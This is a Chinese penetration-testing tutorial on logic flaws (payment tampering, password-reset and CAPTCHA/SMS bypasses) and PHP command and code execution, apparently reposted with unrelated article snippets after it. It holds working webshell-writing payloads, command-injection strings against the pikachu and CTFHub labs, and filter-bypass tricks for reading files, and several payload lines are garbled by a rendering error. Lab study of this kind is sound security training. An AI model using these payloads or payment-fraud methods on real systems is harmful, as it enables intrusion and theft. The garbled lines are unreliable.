渗透测试之逻辑漏洞

文章目录

  • 一、支付漏洞
    • 1.修改附属值
    • 2.多重替换支付
    • 3.重复支付
    • 4.最小额支付
    • 5.最大值支付
    • 6.越权支付
    • 7.无限制试用
    • 8.多线程并发
    • 9.支付漏洞思路
  • 二、密码找回漏洞
    • 1.本地验证绕过
    • 2.利用session重新绑定客户
    • 3.去掉验证参数绕过
    • 4.总结
  • 三、短信验证码绕过
    • 1.短信验证码生命期限内可暴力枚举
    • 2.短信验证码在数据包中返回
    • 3.修改请求数据包参数或 Cookie 值绕过
    • 4.修改返回包绕过
    • 5.攻破短信验证码接口
    • 7.几种爆破绕过
      • a.超长字符串
      • b.特殊符号
      • c.整数溢出。
  • 四、验证安全
    • 1.图形验证码绕过
      • a.图形验证码不刷新或无效
      • b.图形验证码值可直接获取
      • c.图形验证码参数绕过
        • i:验证码空值绕过
        • ii:直接删除验证码参数,改成 user=admin&pass=1234
    • 2.存在无验证码页面
    • 3.万能验证码
    • 4.验证码数量有限
    • 5.简单验证码识别
    • 6.验证码复用
  • 五、命令执行
    • 1.RCE定义
    • 2.常见的命令执行函数
      • 1) exec
      • 2)system
      • 3)passthru
      • 4)shell_exec
      • 5)反引号 `
      • 6)popen
    • 3.管道符号
    • 4.常用的命令
    • 5.命令执行危害-getshell
      • 1)直接获取webshell
      • 2)显示当前路径
      • 3)读文件
      • 4)写文件
    • 6.pikachu靶场任务
      • 1)查看当前用户
      • 2)查看当前路径
      • 3)查看C盘下的文件
      • 4)写入一句话木马、用菜刀或者蚁剑连接成功
    • 7.CTF靶场任务
      • 1)eval执行
      • 2)命令执行
      • 3)文件包含
      • 4)php://input
      • 5)远程包含
      • 6)burp system+cat读取源代码
      • 7)过滤cat
      • 8)单引号绕过
      • 9)双引号绕过
      • 10)特殊符号绕过
      • 11)绕过空格
      • 12)过滤目录分隔符
      • 13)过滤|逻辑符号
      • 14)综合练习
  • 六、代码执行
    • 1.定义
    • 2.相关函数
      • 1)eval
      • 2)assert
      • 3)callback函数
    • 3.pikachu靶场任务
    • 4.代码执行-漏洞防御

一、支付漏洞

那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验
存在可修改订单状态的接口,比如确认收货接口,确认收货以后订单状态会变成“已完成”。
有如下接口/setorderstatus?orderid=1093&orderstatus=3

1.修改附属值

修改优惠劵金额
修改积分
修改运费金额
修改服务费金额

2.多重替换支付

首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单二的商品。

3.重复支付

比如订单支付会返现,或者返积分。重复调用支付成功回调的接口,可实现多次返现,或多次返积分。

4.最小额支付

这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功。

5.最大值支付

利用整数溢出,将购买量改成99999999999999999999999999999999,这样支付金额可能会变成0。或者修改附属值,如优惠卷,积分等为999999999, 如果这里逻辑设计有问题,那么其支付金额会变为0。

6.越权支付

可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品

7.无限制试用

在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经 使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用 购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商 品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功, 又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了

8.多线程并发

并发请求:用户A在一个网站上提款,同步发送了多个提款请求,后台显示多条提款请求,审核了然后顺利的提到了几倍的bounty
处理速度的问题,数据库的处理速度跟不上用户的请求速度,就有可能存在这样的漏洞。

9.支付漏洞思路

在这里插入图片描述在这里插入图片描述

二、密码找回漏洞

1.本地验证绕过

客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,
最终导致欺骗客户端,误以为我们已经输入了正确的验证码。
例如将返回包中的0修改为1即可绕过验证。

2.利用session重新绑定客户

重置密码最后一步是通过session获取用户名,然后再重置。
而用户名是在重置密码第一步时与session进行绑定,那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程,
那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html

3.去掉验证参数绕过

邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,
通过抓取数据包可通过修改报文,将找回问题答案参数删除后,直接进行对密码更改。
参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html

4.总结

1、测试业务的时候,了解清楚业务的整体流程,可以利用思维导图快速清理各个业务之间的关系
2、重点关注的业务:个人(他人)信息、密码修改(找回)、支付流程、注册流程、需要手机、邮箱验证的业务。
3、对每个业务模块进行抓包,分析其中各种请求,注意特殊参数,很有可能就是这些特殊参数决定了业务步骤。 4、抓包重放的过程需要多次实验,判断是否可以跳过(绕过),如何跳过(绕过),纯数字可以用数字+字母`尝试绕过
5、返回包中数据的分析~关注特殊字符串和特殊参数,还有JS文件('JS中可能会存在信息泄漏)。
6、综上所述,业务流程需同时结合’HTTP/HTTPS"请求分析,重点可以关注那些具有代表性的参数,绕过必要验证,跳过业务步骤。
在这里插入图片描述

三、短信验证码绕过

1.短信验证码生命期限内可暴力枚举

只限于数字验证码

2.短信验证码在数据包中返回

可以直接在response中获取到短信验证码

3.修改请求数据包参数或 Cookie 值绕过

比如有 post 数据包:mobile=18888888888&userid=00001, Cookie中有:codetype=1
在特定步骤,修改 mobile=自己的手机号,自己手机就可以收到别人的验证码,后面再用
别人的手机号和接收到的验证码登录;
修改 Cookie 中可疑的参数和值,进行绕过,比如上面修改 codetype=0;

4.修改返回包绕过

举个简单的例子:提交错误的短信验证码,返回包中有: status=false,用 Burpsuite 的 “Do
intercept” 功能修改为 status=true,即可绕过前端判断,成功进入系统。具体还要结合实际的场景,灵活操作。

5.攻破短信验证码接口

a:有些网站会遗留短信验证码测试页面,比如/smstest.html等,如果能找到并且还可以正常使用。
b:一般系统的短信验证码功能,都会有个接口平台可以获取到手机接收到的所有短信,找到并攻 破也能进入系统。
6.默认万能验证码
之前遇到过短信验证码输入9999,就可以登录任意用户账号的漏洞。为了方便测试以及维护,有的系统会留有万能验证码,上线后还保留着。可能是固定的写在配置文件、js文件或代码中,也可能是随时间变化的。
找回密码
前端加密,可破解,或者根本就不是加密。
比如如下案例,找回密码,得到一个token:
/resetpwd?token=eyJ1c2VybmFtZSI6InpoYW5nZiJ9
Token实际上就是将username编码了一下,修改username即可修改其他用户的密码

7.几种爆破绕过

a.超长字符串

输入超长字符串可能会导致系统拒绝服务或绕过某些限制。

b.特殊符号

曾经遇到过一个案例,密码框输入><就可以登录任意用户账号。

c.整数溢出。

利用整数溢出,精度丢失等,可能导致支付漏洞。

四、验证安全

1.图形验证码绕过

a.图形验证码不刷新或无效

手工尝试一次登录后,在某一时间段内无论登录失败多少次,只要不刷新页面 Session 不过期,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。

b.图形验证码值可直接获取

验证码通常会被隐藏在网站的源码中或者在请求的 Cookie 中,或在 response 数据包中返回

c.图形验证码参数绕过

登录请求包数据: user=admin&pass=1234&vcode=brln
可尝试如下两种绕过方法:

i:验证码空值绕过

改成user=admin&pass=1234&vcode=

ii:直接删除验证码参数,改成 user=admin&pass=1234

登录请求包数据: user=admin&pass=1234&needcode=1&vcode=brln 可尝试将needcode参数的值改成0

2.存在无验证码页面

3.万能验证码

渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如0000、9999,
只要输入万能验证码,就可以无视验证码进行暴力破解。

4.验证码数量有限

多见于计算类型的验证码,如 1+2=?,这种类型的验证码严格意义上来说不能叫做验证码,多刷新几次验证码,我们可能会发现系统中的算数题目只有那么几道,这种情况下只要将验证码全部下载下来,生成一个 md5 库,然后将前端生成的验证码与本地文件进行对比即可。

5.简单验证码识别

在平常的漏洞挖掘过程中,如果我们发现登录的验证码非常简单且易于识别,那我们就可以尝试
使用自动化工具来进行登录破解了,如 PKAV 的 HTTP Fuzzer、bp插件等。
https://blog.csdn.net/weixin_40412037/
article/details/105561166

6.验证码复用

当你打开常见的一些需要登录之类的系统,通常系统会自动请求一次验证码,抓包,抓住别放,保持Session不变。

五、命令执行

1.RCE定义

RCE:远程命令执行或者代码执行,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE

2.常见的命令执行函数

PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

1) exec

返回值:命令执行结果的最后一行内容,失败时返回 false
https://www.php.net/manual/zh/function.exec.php

<?php
highlight_file(__FILE__); 
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
exec('chcp 65001&ipconfig', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

在这里插入图片描述

2)system

该函数会把执行结果输出,并把输出结果的作为字符串返回。
如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存如果执行失败则返回false

<?php
highlight_file(__FILE__); 
system('chcp 65001&ipconfig');
?>

在这里插入图片描述
在这里插入图片描述

//highlight_file() 函数以字符串形式返回 突出显示的代码,成功返回true,否则返回false。

3)passthru

执行外部程序并且显示原始输出
执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数

<?php
highlight_file(__FILE__);
passthru('whoami');
?>

在这里插入图片描述

4)shell_exec

通过 shell 执行命令并将完整的输出以字符串的方式返回

<?php
highlight_file(__FILE__);
var_dump(shell_exec('ipconfig'));  
?>

在这里插入图片描述

5)反引号 `

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

<?php
highlight_file(__FILE__);
$a = 'whoami';
echo `$a`;
?>

在这里插入图片描述

6)popen

popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了

<?php popen('whoami >>D:/2.txt','r'); ?>

在这里插入图片描述

3.管道符号

在这里插入图片描述

|前面可真可假
在这里插入图片描述在这里插入图片描述

||——1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。
在这里插入图片描述

&或&&前面必须为真才会执行后面的
在这里插入图片描述

4.常用的命令

Windows
dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息
Linux
cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息

5.命令执行危害-getshell

1)直接获取webshell

例如可以写入一句话木马:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshell.php

2)显示当前路径

例如可以提交参数 ?cmd=cd 来查看当前路径。

3)读文件

例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。

4)写文件

例如可以提交参数 ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php

6.pikachu靶场任务

1)查看当前用户

127.0.0.1&whoami
在这里插入图片描述

2)查看当前路径

127.0.0.1&cd
在这里插入图片描述

3)查看C盘下的文件

127.0.0.1&type c:\1.txt
在这里插入图片描述

127.0.0.1& type c:\windows\system32\drivers\etc\hosts
在这里插入图片描述

4)写入一句话木马、用菜刀或者蚁剑连接成功

127.0.0.1&echo ^<?php eval(KaTeX parse error: Expected 'EOF', got '&' at position 36: …?^> > 127.0.0.1&̲echo ^<?php eva…_REQUEST[‘admin’]); ?^> > C:\phpstudy_pro\WWW\pikachu\webshell.php

在这里插入图片描述在这里插入图片描述在这里插入图片描述

7.CTF靶场任务

https://www.ctfhub.com/#/skilltree
在这里插入图片描述

1)eval执行

在这里插入图片描述

eval执行,可以先判断下是Windows操作系统还是linux
ipconfig和ifconfig

2)命令执行

/?cmd=system(‘ifconfig’);
在这里插入图片描述

ls查看目录中的文件
/?cmd=system(‘ls’);
在这里插入图片描述

列出根目录()下的所有目录:
/?cmd=system(‘ls /’);
在这里插入图片描述

发现可疑文件 flag_8213 直接使用cat命令查看
/?cmd=system(‘cat /flag_8213’);得到flag
在这里插入图片描述

3)文件包含

在这里插入图片描述

4)php://input

在这里插入图片描述

5)远程包含

在这里插入图片描述

6)burp system+cat读取源代码

在这里插入图片描述

7)过滤cat

在这里插入图片描述

8)单引号绕过

127.0.0.1;c’'at flag_21869419023310.php|base64
在这里插入图片描述

9)双引号绕过

127.0.0.1;c""at flag_21869419023310.php|base64
在这里插入图片描述

10)特殊符号绕过

127.0.0.1;ca$@t flag_21869419023310.php|base64
在这里插入图片描述在这里插入图片描述

1;2|3
此处;表示执行完1再执行2的意思,1可以随意,|表示执行完2再执行3,3只对2的结果执行,2必须执行成功才能执行3

11)绕过空格

1;cat<flag_28844345117053.php|base64
在这里插入图片描述

1;cat$IFS 9 f l a g 2 8844345117053. p h p ∣ b a s e 641 ; c a t 9flag_28844345117053.php|base64 1;cat 9flag28844345117053.phpbase641;cat{IFS}flag_28844345117053.php|base64

12)过滤目录分隔符

1;ls flag_is_here
在这里插入图片描述

1;cd flag_is_here;cat flag_8154254575089.php|base64
在这里插入图片描述

13)过滤|逻辑符号

在这里插入图片描述

14)综合练习

%0a替代;
在这里插入图片描述

在Windows和Linux中都支持用 “” 号模糊查询
1%0acd I F S f ∗ a g i s h e r e {IFS}f*ag_is_here%0als%0aca''t IFSfagishere{IFS}f
ag_7220223731263.php
在这里插入图片描述

六、代码执行

1.定义

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行

2.相关函数

PHP:eval、assert
Javascript:eval
Vbscript: Execute、Eval
Python:exec

1)eval

将字符串当做函数进行执行,需要传入一个完整的语句必须以分号 ; 结尾,最常用的函数

<?php eval('echo "hello";'); ?>

2)assert

判断是否为字符串是则当成代码执行,在php7.0.29之后的版本不支持动态调用

低版本

<?php assert($_POST['a']); ?>

7.0.29之后

<?php $a = 'assert'; $a(phpinfo()); ?>

3)callback函数

preg_replace + /e模式
在这里插入图片描述

3.pikachu靶场任务

在这里插入图片描述

fputs(fopen(‘shell.php’,‘w’),‘<?php eval($_POST[fname]);?>’);
在这里插入图片描述在这里插入图片描述

fputs(fopen(‘shell1.php’,‘w’),‘<?php $code=$_GET[x];echo system($code);?>’);
在这里插入图片描述

fputs(fopen(‘shell2.php’,‘w’),‘<?php $code=$_GET[x];eval($code);?>’);
在这里插入图片描述

4.代码执行-漏洞防御

代码执行的防御分为三个方面 参数 , 函数 和 权限
禁用或减少使用执行代码的函数
对于必须使用eval的地方,一定严格处理用户数据
使用addslashess()函数将参数转译,或使用黑白名单校验
限制Web用户的权限
升级插件、框架新版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/45990.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java基础教程】(二十二)Java新特性篇 · 第二讲:foreach循环——概念及优缺点、使用方式及应用场景~

Java基础教程之新特性 foreach循环 1️⃣ 概念2️⃣ 优势和缺点3️⃣ 使用及应用场景&#x1f33e; 总结 1️⃣ 概念 Java的 foreach 特性最初出现在JDK 1.5中&#xff0c;也被称为“增强的for循环”。它的设计目的是提供一种简洁、易读的语法&#xff0c;用于遍历集合或数组…

一个WPF开发的、界面简洁漂亮的音频播放器

项目简介 这是一个基于C# WPF开发的&#xff0c;界面外观简洁大方&#xff0c;操作体验良好的音频播放器。 支持各种音频格式&#xff0c;包括&#xff1a;MP4、WMA、OGG、FLAC、M4A、AAC、WAV、APE 和 OPUS&#xff1b;支持标记、实时显示歌词等功能&#xff1b;支持换肤、…

深入解析:如何打造高效的直播视频美颜SDK

在当今数字化时代&#xff0c;视频直播已经成为人们交流、娱乐和信息传递的重要方式。然而&#xff0c;许多人在直播时都希望能够呈现出最佳的外观&#xff0c;这就需要高效的直播视频美颜技术。本文将深入解析如何打造高效的直播视频美颜SDK&#xff0c;以实现令人满意的视觉效…

【0815作业】搭建select的TCP客户端、poll客户端、tftp文件上传

IO多路复用&#xff08;重点&#xff01;&#xff01;&#xff01;&#xff09; 进程中如果同时需要处理多路输入输出流&#xff0c;在使用单进程单线程的情况下&#xff0c;同时处理多个输入输出请求。在无法用多进程多线程&#xff0c;可以选择用IO多路复用&#xff1b;由于不…

6个主流的工业3D管道设计软件

3D 管道设计软件是大多数行业工程工作的主要部分&#xff0c;例如&#xff1a; 电力、石油和天然气、石化、炼油厂、纸浆和造纸、化学品和加工业。 全球各工程公司使用了近 50 种工厂或管道设计软件。 每个软件都有优点和缺点&#xff0c;包括价格点。 EPC 和业主部门当前的趋势…

会声会影和Pr哪个好?

会声会影是加拿大Corel公司制作的一款功能强大的视频编辑软件&#xff0c;正版英文名&#xff1a;Corel VideoStudio&#xff0c;具有图像抓取和编修功能&#xff0c;可以抓取&#xff0c;转换MV、DV、V8、TV和实时记录抓取画面文件&#xff0c;并提供有超过100 多种的编制功能…

MySQL卸载并重装指定版本

MySQL卸载并重装制定版本 学习新的项目&#xff0c;发现之前的Navicat已经失去了与现有MySQL的链接&#xff0c;而且版本也不适合&#xff0c;为了少走弯路&#xff0c;准备直接重装相应版本的MySQL 卸载现有MySQL 停止windows的MySQL服务&#xff0c;【windowsR】打开运行框…

Java性能分析中常用命令和工具

当涉及到 Java 性能分析时&#xff0c;有一系列强大的命令和工具可以帮助开发人员分析应用程序的性能瓶颈、内存使用情况和线程问题。以下是一些常用的 Java 性能分析命令和工具&#xff0c;以及它们的详细说明和示例。 以下是一些常用的性能分析命令和工具汇总&#xff1a; …

如何使用ChatGPT创建个性化的健身锻炼计划

ChatGPT广泛应用于各个行业&#xff0c;健身也不例外。 ChatGPT 在健身领域的一个常用案例是创建个性化的锻炼计划。 在要求 ChatGPT 创建锻炼计划时&#xff0c;简单地输入自己的目标和当前的健身水平是一个很好的开始。完成此操作后&#xff0c;你还可以使用其他提示和措施来…

Redis数据结构之String

String 类型是 Redis 的最基本的数据类型&#xff0c;一个 key 对应一个 value&#xff0c;可以理解成与Memcached一模一样的类型。 String 类型是二进制安全的&#xff0c;意思是 Redis 的 String 可以包含任何数据&#xff0c;比如图片或者序列化的对象&#xff0c;一个 Redi…

如何编写一个通用的函数?

&#x1f388;个人主页:&#x1f388; :✨✨✨初阶牛✨✨✨ &#x1f43b;推荐专栏1: &#x1f354;&#x1f35f;&#x1f32f;C语言初阶 &#x1f43b;推荐专栏2: &#x1f354;&#x1f35f;&#x1f32f;C语言进阶 &#x1f511;个人信条: &#x1f335;知行合一 金句分享:…

安防监控/视频集中存储/云存储平台EasyCVR v3.3增加首页告警类型

安防监控/视频集中存储/云存储EasyCVR视频汇聚平台&#xff0c;可支持海量视频的轻量化接入与汇聚管理。平台能提供视频存储磁盘阵列、视频监控直播、视频轮播、视频录像、云存储、回放与检索、智能告警、服务器集群、语音对讲、云台控制、电子地图、平台级联、H.265自动转码等…

湘潭大学 湘大 XTU OJ 1055 整数分类 题解(非常详细)

链接 整数分类 题目 Description 按照下面方法对整数x进行分类&#xff1a;如果x是一个个位数&#xff0c;则x属于x类&#xff1b;否则将x的各位上的数码累加&#xff0c;得到一个新的x&#xff0c;依次迭代&#xff0c;可以得到x的所属类。比如说24&#xff0c;246&#…

Nginx的介绍

本资料转载于传智教育-解锁你的IT职业薪未来&#xff0c;仅用于学习和讨论&#xff0c;如有侵权请联系 视频地址&#xff1a;04-Nginx的优点_哔哩哔哩_bilibili 资源文档&#xff1a;链接&#xff1a;https://pan.baidu.com/s/1RlFl92FdxRUqc858JSxPSQ 提取码&#xff1a;12…

【Vue】全家桶之Axios

文章目录 概述axios特点安装关于 ajax、fetch、axiosAxios APIAxios 实例请求配置响应结构默认配置拦截器错误处理取消请求取消请求请求体编码 概述 Axios是基于promise的网络请求库&#xff0c;可以在nodejs和浏览器中运行&#xff0c;是isomorphic的&#xff0c;意思就是同一…

【仿写tomcat】四、解析http请求信息,响应给前端,HttpServletRequest、HttpServletResponse的简单实现

思考 在解析请求之前我们要思考一个问题&#xff0c;我们解析的是其中的哪些内容&#xff1f; 对于最基本的实现&#xff0c;当然是请求类型&#xff0c;请求的url以及请求参数&#xff0c;我们可以根据请求的类型作出对应的处理&#xff0c;通过url在我们的mapstore中找到se…

使用struct解析通达信本地Lday日线数据

★★★★★博文原创不易&#xff0c;我的博文不需要打赏&#xff0c;也不需要知识付费&#xff0c;可以白嫖学习编程小技巧&#xff0c;喜欢的老铁可以多多帮忙点赞&#xff0c;小红牛在此表示感谢。★★★★★ 在Python中&#xff0c;struct模块提供了二进制数据的打包和解包…

Java 项目日志实例:Log4j2

点击下方关注我&#xff0c;然后右上角点击...“设为星标”&#xff0c;就能第一时间收到更新推送啦~~~ Apache Log4j 2 是对 Log4j 的升级&#xff0c;与其前身 Log4j 1.x 相比有了显着的改进&#xff0c;并提供了许多 Logback 可用的改进&#xff0c;同时支持 JCL 以及 SLF4J…

毫米波雷达成像论文阅读笔记: IEEE TPAMI 2023 | CoIR: Compressive Implicit Radar

原始笔记链接&#xff1a;https://mp.weixin.qq.com/s?__bizMzg4MjgxMjgyMg&mid2247486680&idx1&snedf41d4f95395d7294bc958ea68d3a68&chksmcf51be21f826373790bc6d79bcea6eb2cb3d09bb1860bba0af0fd5e60c448ca006976503e460#rd ↑ \uparrow ↑点击上述链接即…

前端开发,怎么解决浏览器兼容性问题? - 易智编译EaseEditing

解决浏览器兼容性问题是前端开发中常见的挑战之一。不同的浏览器可能对网页元素的渲染和功能支持有所不同&#xff0c;因此需要采取一些策略来确保您的网页在不同浏览器上都能正常运行和呈现。以下是一些解决浏览器兼容性问题的方法和策略&#xff1a; 使用CSS Reset&#xff…